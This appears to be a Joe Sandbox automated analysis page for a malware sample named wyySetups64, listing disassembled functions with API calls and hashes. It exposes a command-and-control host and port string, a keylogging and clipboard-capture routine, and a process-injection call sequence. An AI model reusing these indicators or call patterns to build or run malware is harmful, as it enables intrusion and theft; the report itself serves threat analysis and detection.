Associated: 00000001.00000002.4117023604.0000000000BF1000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_bd0000_wyySetups64.jbxd

Similarity

API ID: SleepTimetime
String ID:
API String ID: 346578373-0
Opcode ID: b422551574e7d581e8499aededf6be156b2051fcefb2a8906a074957c3a106ef
Instruction ID: 455fb9cd6a89d5af37a3b15df29fe240b95a4cfcdea0a339da63fa919e82cbb0
Opcode Fuzzy Hash: b422551574e7d581e8499aededf6be156b2051fcefb2a8906a074957c3a106ef
Instruction Fuzzy Hash: 2F01B135600606AFD710DF19D8C8B6DF3E5FB59741F144265D100AB291D771AE85C7D2

Function 033730E0 Relevance: 3.0, APIs: 2, Instructions: 46sleeptimeCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(0000000A), ref: 0337310A
timeGetTime.WINMM ref: 03373124

Memory Dump Source

Source File: 00000001.00000002.4120084885.0000000003370000.00000040.00001000.00020000.00000000.sdmp, Offset: 03370000, based on PE: true

Associated: 00000001.00000002.4120084885.00000000033A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3370000_wyySetups64.jbxd

Similarity

API ID: SleepTimetime
String ID:
API String ID: 346578373-0
Opcode ID: a3a96ec3dea4758bf91607b63a4bd82982de5ea04fa2ff968848bb26c1badb3d
Instruction ID: f131b6ab22c4c02923c22b13f1b3619fc670843ae8db3a5580b197576285837e
Opcode Fuzzy Hash: a3a96ec3dea4758bf91607b63a4bd82982de5ea04fa2ff968848bb26c1badb3d
Instruction Fuzzy Hash: 2101F735600609BFD321EF29CCC8BAAF7B9FB59321F184265D10487580C735A9C6D7D1

Function 00BD6410 Relevance: 3.0, APIs: 2, Instructions: 38memoryCOMMON

Download Yara Rule

APIs

HeapCreate.KERNEL32(00000004,00000000,00000000,?,00000000,00BD5AF2), ref: 00BD642B
_free.LIBCMT ref: 00BD6466

Part of subcall function 00BD1280: __CxxThrowException@8.LIBCMT ref: 00BD1290
Part of subcall function 00BD1280: DeleteCriticalSection.KERNEL32(00000000,?,00BE7E78), ref: 00BD12A1

Memory Dump Source

Source File: 00000001.00000002.4116723964.0000000000BD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000001.00000002.4116694335.0000000000BD0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116886071.0000000000BE5000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116935852.0000000000BE9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116976160.0000000000BEF000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4117023604.0000000000BF1000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_bd0000_wyySetups64.jbxd

Similarity

API ID: CreateCriticalDeleteException@8HeapSectionThrow_free
String ID:
API String ID: 1116298128-0
Opcode ID: ddf966f9e93d506bd2adfc44b066f96332e4bd5027ce3eabd708613cfb67ae1b
Instruction ID: ea7a2097fe2acf68ecd99f956e6736e55cc7cf92e67341d6c620a5cf528c5d9d
Opcode Fuzzy Hash: ddf966f9e93d506bd2adfc44b066f96332e4bd5027ce3eabd708613cfb67ae1b
Instruction Fuzzy Hash: 83016CB0A00B409BC3209F6A9884A07FBE8FF98710B104A1EE2DAC7B10E770A445CF95

Function 0337CD00 Relevance: 3.0, APIs: 2, Instructions: 38memoryCOMMON

Download Yara Rule

APIs

HeapCreate.KERNEL32(00000004,00000000,00000000,0337E04E,00000000,03379800,?,?,?,00000000,0339125B,000000FF,?,0337E04E), ref: 0337CD1B
_free.LIBCMT ref: 0337CD56

Part of subcall function 03371280: __CxxThrowException@8.LIBCMT ref: 03371290
Part of subcall function 03371280: DeleteCriticalSection.KERNEL32(00000000,0337D3E6,03396624,?,?,0337D3E6,?,?,?,?,03395A40,00000000), ref: 033712A1

Memory Dump Source

Source File: 00000001.00000002.4120084885.0000000003370000.00000040.00001000.00020000.00000000.sdmp, Offset: 03370000, based on PE: true

Associated: 00000001.00000002.4120084885.00000000033A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3370000_wyySetups64.jbxd

Similarity

API ID: CreateCriticalDeleteException@8HeapSectionThrow_free
String ID:
API String ID: 1116298128-0
Opcode ID: 9bd8729abb02d2d6d097c482e885cf8cd415d05664fe2a88a1aea60055e4c4b9
Instruction ID: 1d26c801e68a369a2b1316fd8ae9b77c80b91ae7b3ee598a9a95b220c3e49374
Opcode Fuzzy Hash: 9bd8729abb02d2d6d097c482e885cf8cd415d05664fe2a88a1aea60055e4c4b9
Instruction Fuzzy Hash: C9017AB0A00B449FC330DF6A9884A07FAE8BF98700B104A1ED2DACAA10D375A105CF95

Function 0337E480 Relevance: 3.0, APIs: 2, Instructions: 21synchronizationthreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,00000000,0337DF10,00000000,00000000,00000000), ref: 0337E49B
WaitForSingleObject.KERNEL32(00000000,000000FF,?,03381168,?,?,?,?,?,?,03396298,0000000C,03381210,?), ref: 0337E4A9

Memory Dump Source

Source File: 00000001.00000002.4120084885.0000000003370000.00000040.00001000.00020000.00000000.sdmp, Offset: 03370000, based on PE: true

Associated: 00000001.00000002.4120084885.00000000033A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3370000_wyySetups64.jbxd

Similarity

API ID: CreateObjectSingleThreadWait
String ID:
API String ID: 1891408510-0
Opcode ID: 6c1a86e63e0920854dd7e36131cc028546547bf6974ace6a01deb2c35313adb8
Instruction ID: c771ebcdf4a78bb8d4e80eb6f8d22bca8129c38e4441661a34b183d528768f5f
Opcode Fuzzy Hash: 6c1a86e63e0920854dd7e36131cc028546547bf6974ace6a01deb2c35313adb8
Instruction Fuzzy Hash: 0AE017B084460DBFDB60EB68ACC9E3773DCD704330F204657B920D2288D53AE8A08AA0

Function 00BD7175 Relevance: 3.0, APIs: 2, Instructions: 19COMMON

Download Yara Rule

APIs

__getptd.LIBCMT ref: 00BD7181

Part of subcall function 00BD990F: __getptd_noexit.LIBCMT ref: 00BD9912
Part of subcall function 00BD990F: __amsg_exit.LIBCMT ref: 00BD991F

Part of subcall function 00BD7156: __getptd_noexit.LIBCMT ref: 00BD715B
Part of subcall function 00BD7156: __freeptd.LIBCMT ref: 00BD7165
Part of subcall function 00BD7156: ExitThread.KERNEL32 ref: 00BD716E

__XcptFilter.LIBCMT ref: 00BD71A2

Part of subcall function 00BD9C41: __getptd_noexit.LIBCMT ref: 00BD9C47

Memory Dump Source

Source File: 00000001.00000002.4116723964.0000000000BD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000001.00000002.4116694335.0000000000BD0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116886071.0000000000BE5000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116935852.0000000000BE9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116976160.0000000000BEF000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4117023604.0000000000BF1000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_bd0000_wyySetups64.jbxd

Similarity

API ID: __getptd_noexit$ExitFilterThreadXcpt__amsg_exit__freeptd__getptd
String ID:
API String ID: 418257734-0
Opcode ID: 23b38d46995fdd5eb284169cafc4cb1d2601ca0047a584b81c8a5c620ff8b081
Instruction ID: 07d02b24e74a0c3e2874de12ec814688ff59a9e33aa11d8a7d61a96bfbe9f184
Opcode Fuzzy Hash: 23b38d46995fdd5eb284169cafc4cb1d2601ca0047a584b81c8a5c620ff8b081
Instruction Fuzzy Hash: BAE0ECB1A446049FE708ABA0C956E6DBBB5EF04701F2000DAF1016B3B2EE75A941DB24

Function 0337F983 Relevance: 3.0, APIs: 2, Instructions: 19COMMON

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0337F98F

Part of subcall function 03383E5B: __getptd_noexit.LIBCMT ref: 03383E5E
Part of subcall function 03383E5B: __amsg_exit.LIBCMT ref: 03383E6B

Part of subcall function 0337F964: __getptd_noexit.LIBCMT ref: 0337F969
Part of subcall function 0337F964: __freeptd.LIBCMT ref: 0337F973
Part of subcall function 0337F964: ExitThread.KERNEL32 ref: 0337F97C

__XcptFilter.LIBCMT ref: 0337F9B0

Part of subcall function 0338418F: __getptd_noexit.LIBCMT ref: 03384195

Memory Dump Source

Source File: 00000001.00000002.4120084885.0000000003370000.00000040.00001000.00020000.00000000.sdmp, Offset: 03370000, based on PE: true

Associated: 00000001.00000002.4120084885.00000000033A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3370000_wyySetups64.jbxd

Similarity

API ID: __getptd_noexit$ExitFilterThreadXcpt__amsg_exit__freeptd__getptd
String ID:
API String ID: 418257734-0
Opcode ID: 15af52034469730a457a4fbfdf15ae3bce1ccd495dfda70d7c5feaa7b14d168f
Instruction ID: 41b6f97b927b20e5b16f803032cb7b9465474bdce60d36472aa4811ba30d6052
Opcode Fuzzy Hash: 15af52034469730a457a4fbfdf15ae3bce1ccd495dfda70d7c5feaa7b14d168f
Instruction Fuzzy Hash: 7FE0ECB9D05701EFEB18FBA1D885E7D7775AF45B11F200149E1416F2A1CB79A940DA20

Function 03386403 Relevance: 3.0, APIs: 2, Instructions: 18COMMONLIBRARYCODE

Download Yara Rule

APIs

__lock.LIBCMT ref: 0338641B

Part of subcall function 03388E5B: __mtinitlocknum.LIBCMT ref: 03388E71
Part of subcall function 03388E5B: __amsg_exit.LIBCMT ref: 03388E7D
Part of subcall function 03388E5B: EnterCriticalSection.KERNEL32(00000000,00000000,?,03383F06,0000000D,03396340,00000008,03383FFF,00000000,?,033810F0,00000000,03396278,00000008,03381155,?), ref: 03388E85

__tzset_nolock.LIBCMT ref: 0338642C

Part of subcall function 03385D22: __lock.LIBCMT ref: 03385D44
Part of subcall function 03385D22: ____lc_codepage_func.LIBCMT ref: 03385D8B
Part of subcall function 03385D22: __getenv_helper_nolock.LIBCMT ref: 03385DAD
Part of subcall function 03385D22: _free.LIBCMT ref: 03385DE4
Part of subcall function 03385D22: _strlen.LIBCMT ref: 03385DEB
Part of subcall function 03385D22: __malloc_crt.LIBCMT ref: 03385DF2
Part of subcall function 03385D22: _strlen.LIBCMT ref: 03385E08
Part of subcall function 03385D22: _strcpy_s.LIBCMT ref: 03385E16
Part of subcall function 03385D22: __invoke_watson.LIBCMT ref: 03385E2B
Part of subcall function 03385D22: _free.LIBCMT ref: 03385E3A

Memory Dump Source

Source File: 00000001.00000002.4120084885.0000000003370000.00000040.00001000.00020000.00000000.sdmp, Offset: 03370000, based on PE: true

Associated: 00000001.00000002.4120084885.00000000033A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3370000_wyySetups64.jbxd

Similarity

API ID: __lock_free_strlen$CriticalEnterSection____lc_codepage_func__amsg_exit__getenv_helper_nolock__invoke_watson__malloc_crt__mtinitlocknum__tzset_nolock_strcpy_s
String ID:
API String ID: 1828324828-0
Opcode ID: d86e74617e6f8d7d1de0c045d897513e0946b43d2dfda05b5d89c860e4d5fa54
Instruction ID: 74419caf2fd1f02e4679840879c38ff200e1b3986d3031dc097da584838437b6
Opcode Fuzzy Hash: d86e74617e6f8d7d1de0c045d897513e0946b43d2dfda05b5d89c860e4d5fa54
Instruction Fuzzy Hash: 65E01239C42B11D7DA2AFBE1B6C3A0CB264ABD4F35F90425AE6901A4A4DA740281C652

Function 00BD474C Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 12stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(|p1:118.107.44.219|o1:19091|t1:1|p2:118.107.44.219|o2:19092|t2:1|p3:118.107.44.219|o3:19093|t3:1|dd:1|cl:1|fz:), ref: 00BD4755

Part of subcall function 00BD3260: __wcsrev.LIBCMT ref: 00BF0655

Strings

|p1:118.107.44.219|o1:19091|t1:1|p2:118.107.44.219|o2:19092|t2:1|p3:118.107.44.219|o3:19093|t3:1|dd:1|cl:1|fz:, xrefs: 00BD4750

Memory Dump Source

Source File: 00000001.00000002.4116723964.0000000000BD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000001.00000002.4116694335.0000000000BD0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116886071.0000000000BE5000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116935852.0000000000BE9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116976160.0000000000BEF000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4117023604.0000000000BF1000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_bd0000_wyySetups64.jbxd

Similarity

API ID: __wcsrevlstrlen
String ID: |p1:118.107.44.219|o1:19091|t1:1|p2:118.107.44.219|o2:19092|t2:1|p3:118.107.44.219|o3:19093|t3:1|dd:1|cl:1|fz:
API String ID: 4062721203-291094236
Opcode ID: abfa737bd7f3f453da1e4514bc96f43f2de69a812b71007a441ec641ac519b49
Instruction ID: 175ee2a8b060f1f68d3ee62f2ea3c65aa360e8dcf10e314102cb079919e08129
Opcode Fuzzy Hash: abfa737bd7f3f453da1e4514bc96f43f2de69a812b71007a441ec641ac519b49
Instruction Fuzzy Hash: DAC08C7224924CCFE75033E9944863C73D8EB33B15F2040B2F600CA1A3EA518D40A3F2

Function 03376EBC Relevance: 3.0, APIs: 2, Instructions: 8registryCOMMON

Download Yara Rule

APIs

RegCloseKey.ADVAPI32(80000001,03376E9A), ref: 03376EC9
RegCloseKey.ADVAPI32(75BF73E0), ref: 03376ED2

Memory Dump Source

Source File: 00000001.00000002.4120084885.0000000003370000.00000040.00001000.00020000.00000000.sdmp, Offset: 03370000, based on PE: true

Associated: 00000001.00000002.4120084885.00000000033A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3370000_wyySetups64.jbxd

Similarity

API ID: Close
String ID:
API String ID: 3535843008-0
Opcode ID: 3fd0cba92d6abb7bf20c9cec864890de64bf551c33ae8e03bdaac398c8e3197c
Instruction ID: 2177e8d8cc54574c55f1a3a50c6800315c51d51f41b163cf21a968450e4efa7a
Opcode Fuzzy Hash: 3fd0cba92d6abb7bf20c9cec864890de64bf551c33ae8e03bdaac398c8e3197c
Instruction Fuzzy Hash: 1CC04C72D01428A7CA10E7A4ED4494A77B85B4C210F1144C2A104A3118C634AD418F90

Function 00BD608A Relevance: 1.5, APIs: 1, Instructions: 25registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNEL32 ref: 00BD60A0

Memory Dump Source

Source File: 00000001.00000002.4116723964.0000000000BD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000001.00000002.4116694335.0000000000BD0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116886071.0000000000BE5000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116935852.0000000000BE9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116976160.0000000000BEF000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4117023604.0000000000BF1000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_bd0000_wyySetups64.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: 00879f064e431ff0885dc97872b2122b73962f6fc304e0e7c3a0dba9718d49b2
Instruction ID: 898f734d9025a8aab9fe8ffc02bb070996b25d4407cf5f7c596949039e5d62ef
Opcode Fuzzy Hash: 00879f064e431ff0885dc97872b2122b73962f6fc304e0e7c3a0dba9718d49b2
Instruction Fuzzy Hash: 29E0927490868AEACF14CB41D5C4BFDB3F1AB50709F3081D6E0066B195E7742F04AA95

Function 00BD5E07 Relevance: 1.5, APIs: 1, Instructions: 14registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.KERNEL32 ref: 00BEF0F9

Memory Dump Source

Source File: 00000001.00000002.4116723964.0000000000BD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000001.00000002.4116694335.0000000000BD0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116886071.0000000000BE5000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116935852.0000000000BE9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116976160.0000000000BEF000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4117023604.0000000000BF1000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_bd0000_wyySetups64.jbxd

Similarity

API ID: QueryValue
String ID:
API String ID: 3660427363-0
Opcode ID: bc9ecc6ca19783af6d6fbb40ca28845bcba02b8ce6e2273daa9cad6eb9c5806e
Instruction ID: eb78ba79ccf90db25eb61fc7af5d6e036378ae6d5401bc9adc19c0888ca777ec
Opcode Fuzzy Hash: bc9ecc6ca19783af6d6fbb40ca28845bcba02b8ce6e2273daa9cad6eb9c5806e
Instruction Fuzzy Hash: 85C08C20C4CBDFE184216E171C899B8F3E0C704715F3009F3A80B216C1B3A429907AEA

Function 00BD60DF Relevance: 1.5, APIs: 1, Instructions: 11threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00BEFAB1

Memory Dump Source

Source File: 00000001.00000002.4116723964.0000000000BD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000001.00000002.4116694335.0000000000BD0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116886071.0000000000BE5000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116935852.0000000000BE9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116976160.0000000000BEF000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4117023604.0000000000BF1000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_bd0000_wyySetups64.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: 01212006b036d606ac69cc9549f45ea7673dc217769b24f04f9868a66ef88036
Instruction ID: bf50494997d9385a8439893f6c172e9c0476824219c7babe52dc7bdd103cf930
Opcode Fuzzy Hash: 01212006b036d606ac69cc9549f45ea7673dc217769b24f04f9868a66ef88036
Instruction Fuzzy Hash: 30D012B4104942C7D310AB56C5C462AB3E1BF84300F30C975E61A97711C734EC419652

Function 00BD4274 Relevance: 1.5, APIs: 1, Instructions: 11threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,00000000,Function_00006110,00000000), ref: 00BF0693

Memory Dump Source

Source File: 00000001.00000002.4116723964.0000000000BD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000001.00000002.4116694335.0000000000BD0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116886071.0000000000BE5000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116935852.0000000000BE9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116976160.0000000000BEF000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4117023604.0000000000BF1000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_bd0000_wyySetups64.jbxd

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: 894ff68093c19bf475cd7aa7ce93b1057ed27db434548959f88b98db5d150161
Instruction ID: 43a93d6254ab54a68d20de3ee866f4ac0eb53a3d87da0a8d97524fc99b46087a
Opcode Fuzzy Hash: 894ff68093c19bf475cd7aa7ce93b1057ed27db434548959f88b98db5d150161
Instruction Fuzzy Hash: 2DC04C242AC29AE9E52022512DC6B3455C03746B25E7093E373236E5E39A9000443653

Function 00BEF63D Relevance: 1.5, APIs: 1, Instructions: 3networkCOMMON

Download Yara Rule

APIs

send.WS2_32 ref: 00BEF63D

Memory Dump Source

Source File: 00000001.00000002.4116976160.0000000000BEF000.00000020.00001000.00020000.00000000.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000001.00000002.4116694335.0000000000BD0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116723964.0000000000BD1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116886071.0000000000BE5000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116935852.0000000000BE9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4117023604.0000000000BF1000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_bd0000_wyySetups64.jbxd

Similarity

API ID: send
String ID:
API String ID: 2809346765-0
Opcode ID: b956059e22e3486696b76ec957477fc52ad101492784f0e82e82dad50b540092
Instruction ID: b7ad7d8316aa0fe53d698031378a704a11551988357f71c253f9379570c65825
Opcode Fuzzy Hash: b956059e22e3486696b76ec957477fc52ad101492784f0e82e82dad50b540092
Instruction Fuzzy Hash: 2D900228284592AA52100A2268C87652794590464531414646503D5010DF10C2806515

Function 00BD5EB2 Relevance: 1.3, APIs: 1, Instructions: 15sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32 ref: 00BD5EB2

Part of subcall function 00BD6F17: _malloc.LIBCMT ref: 00BD6F31

Memory Dump Source

Source File: 00000001.00000002.4116723964.0000000000BD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000001.00000002.4116694335.0000000000BD0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116886071.0000000000BE5000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116935852.0000000000BE9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116976160.0000000000BEF000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4117023604.0000000000BF1000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_bd0000_wyySetups64.jbxd

Similarity

API ID: Sleep_malloc
String ID:
API String ID: 617756273-0
Opcode ID: 235bc6dbefe7d745e93cdd0f00aff86d411661fee0870ebbba4bd523f20d9777
Instruction ID: 2c48103b9b7b918f5848f78b997283ed35f2b4df80a1bd8a0bc70e4c83d0bda0
Opcode Fuzzy Hash: 235bc6dbefe7d745e93cdd0f00aff86d411661fee0870ebbba4bd523f20d9777
Instruction Fuzzy Hash: F2D02372D042439BD7B03E6108C403D91E15740344F7540F5D307C7102D7750D04A3C2

Non-executed Functions

Function 0337E850 Relevance: 72.1, APIs: 36, Strings: 5, Instructions: 311stringfilesynchronizationCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0337E8A9
Sleep.KERNEL32(00000001,?,?,?,0337604D), ref: 0337E8B3
GetTickCount.KERNEL32 ref: 0337E8BF
GetTickCount.KERNEL32 ref: 0337E8D2
InterlockedExchange.KERNEL32(033A1F08,00000000), ref: 0337E8DA
OpenClipboard.USER32(00000000), ref: 0337E8E2
GetClipboardData.USER32(0000000D), ref: 0337E8EA
GlobalSize.KERNEL32(00000000), ref: 0337E8FB
GlobalLock.KERNEL32(00000000), ref: 0337E90C
wsprintfW.USER32 ref: 0337E985
_memset.LIBCMT ref: 0337E9A3
GlobalUnlock.KERNEL32(00000000), ref: 0337E9AC
CloseClipboard.USER32 ref: 0337E9B2
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 0337E9CA
CreateFileW.KERNEL32(033A0D80,40000000,00000002,00000000,00000004,00000002,00000000), ref: 0337E9E4
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 0337EA02
lstrlenW.KERNEL32(03395B48,?,00000000), ref: 0337EA16
WriteFile.KERNEL32(00000000,03395B48,00000000), ref: 0337EA25
CloseHandle.KERNEL32(00000000), ref: 0337EA2C
ReleaseMutex.KERNEL32(00000000), ref: 0337EA38
GetKeyState.USER32(00000014), ref: 0337EABC
lstrlenW.KERNEL32(0339B4A8), ref: 0337EB0B
wsprintfW.USER32 ref: 0337EB1D
lstrlenW.KERNEL32(0339B4D0), ref: 0337EB3E
lstrlenW.KERNEL32(0339B4D0), ref: 0337EB61
wsprintfW.USER32 ref: 0337EB7F
wsprintfW.USER32 ref: 0337EB95
wsprintfW.USER32 ref: 0337EBBF
lstrlenW.KERNEL32(00000000), ref: 0337EC0B
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 0337EC21
CreateFileW.KERNEL32(033A0D80,40000000,00000002,00000000,00000004,00000002,00000000), ref: 0337EC3B
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 0337EC59
lstrlenW.KERNEL32(00000000,?,00000000), ref: 0337EC69
WriteFile.KERNEL32(00000000,00000000,00000000), ref: 0337EC74
CloseHandle.KERNEL32(00000000), ref: 0337EC7B
ReleaseMutex.KERNEL32(00000000), ref: 0337EC88

Strings

[, xrefs: 0337E97F
%s%s, xrefs: 0337EB8F
%s%s, xrefs: 0337EBB9
[esc], xrefs: 0337EB4E, 0337EB77, 0337EB8D, 0337EBB7
%s%s, xrefs: 0337EB17, 0337EB79

Memory Dump Source

Source File: 00000001.00000002.4120084885.0000000003370000.00000040.00001000.00020000.00000000.sdmp, Offset: 03370000, based on PE: true

Associated: 00000001.00000002.4120084885.00000000033A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3370000_wyySetups64.jbxd

Similarity

API ID: Filelstrlen$wsprintf$ClipboardCloseGlobal$CountCreateHandleMutexObjectPointerReleaseSingleTickWaitWrite_memset$DataExchangeInterlockedLockOpenSizeSleepStateUnlock
String ID: [$%s%s$%s%s$%s%s$[esc]
API String ID: 1637302245-2373594894
Opcode ID: 0553ea5704567323bddebd1e0cc127bb9c1efd58106411c99b5a50823920aa9f
Instruction ID: 18957eb963f647d9e5129e3ee8e58a6cd4954823ce5b41b65eb66f41bc488c6a
Opcode Fuzzy Hash: 0553ea5704567323bddebd1e0cc127bb9c1efd58106411c99b5a50823920aa9f
Instruction Fuzzy Hash: 88C1C274900709EFE734EF64DCC9BAABBACFB08700F04459AF65AD6285D7789584CB60

Function 033777E0 Relevance: 68.5, APIs: 30, Strings: 9, Instructions: 240libraryloaderinjectionCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 03377804
_memset.LIBCMT ref: 03377850
GetSystemDirectoryA.KERNEL32(?,000000FF), ref: 03377864

Part of subcall function 03378720: _vswprintf_s.LIBCMT ref: 03378731

GetFileAttributesA.KERNEL32(?,?,?,?,?,?,?,74DF0630,?,74DF0F00), ref: 03377893
CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,00000214,00000000,00000000,00000044,?), ref: 033778DA

Part of subcall function 03377740: GetCurrentProcess.KERNEL32(00000028,?,?,?,?,?,?,?,?,033778FC), ref: 03377756
Part of subcall function 03377740: OpenProcessToken.ADVAPI32(00000000,?,?,?,?,?,?,?,033778FC,?,?,?,?,?,?,74DF0630), ref: 0337775D

OpenProcess.KERNEL32(001FFFFF,00000000,?,?,?,?,?,?,?,74DF0630,?,74DF0F00), ref: 0337790A
_memset.LIBCMT ref: 03377923
LoadLibraryA.KERNEL32(Kernel32.dll,OpenProcess,?,?,?,?,?,?,?,?,?,74DF0630,?,74DF0F00), ref: 0337793B
GetProcAddress.KERNEL32(00000000), ref: 03377944
LoadLibraryA.KERNEL32(Kernel32.dll,ExitProcess,?,?,?,?,?,?,?,?,?,74DF0630,?,74DF0F00), ref: 03377956
GetProcAddress.KERNEL32(00000000), ref: 03377959
LoadLibraryA.KERNEL32(Kernel32.dll,WinExec,?,?,?,?,?,?,?,?,?,74DF0630,?,74DF0F00), ref: 0337796B
GetProcAddress.KERNEL32(00000000), ref: 0337796E
LoadLibraryA.KERNEL32(Kernel32.dll,WaitForSingleObject,?,?,?,?,?,?,?,?,?,74DF0630,?,74DF0F00), ref: 03377980
GetProcAddress.KERNEL32(00000000), ref: 03377983
GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,?,?,74DF0630,?,74DF0F00), ref: 0337798B
GetProcessId.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,74DF0630,?,74DF0F00), ref: 03377992
_memset.LIBCMT ref: 033779B4
GetModuleFileNameA.KERNEL32(00000000,?,000000FA,?,?,?,?,?,?,?,?,?,?,?,?,74DF0630), ref: 033779CA
VirtualAllocEx.KERNEL32(00000000,00000000,00000118,00003000,00000040), ref: 033779FF
WriteProcessMemory.KERNEL32(00000000,00000000,?,00000118,00000000), ref: 03377A1B
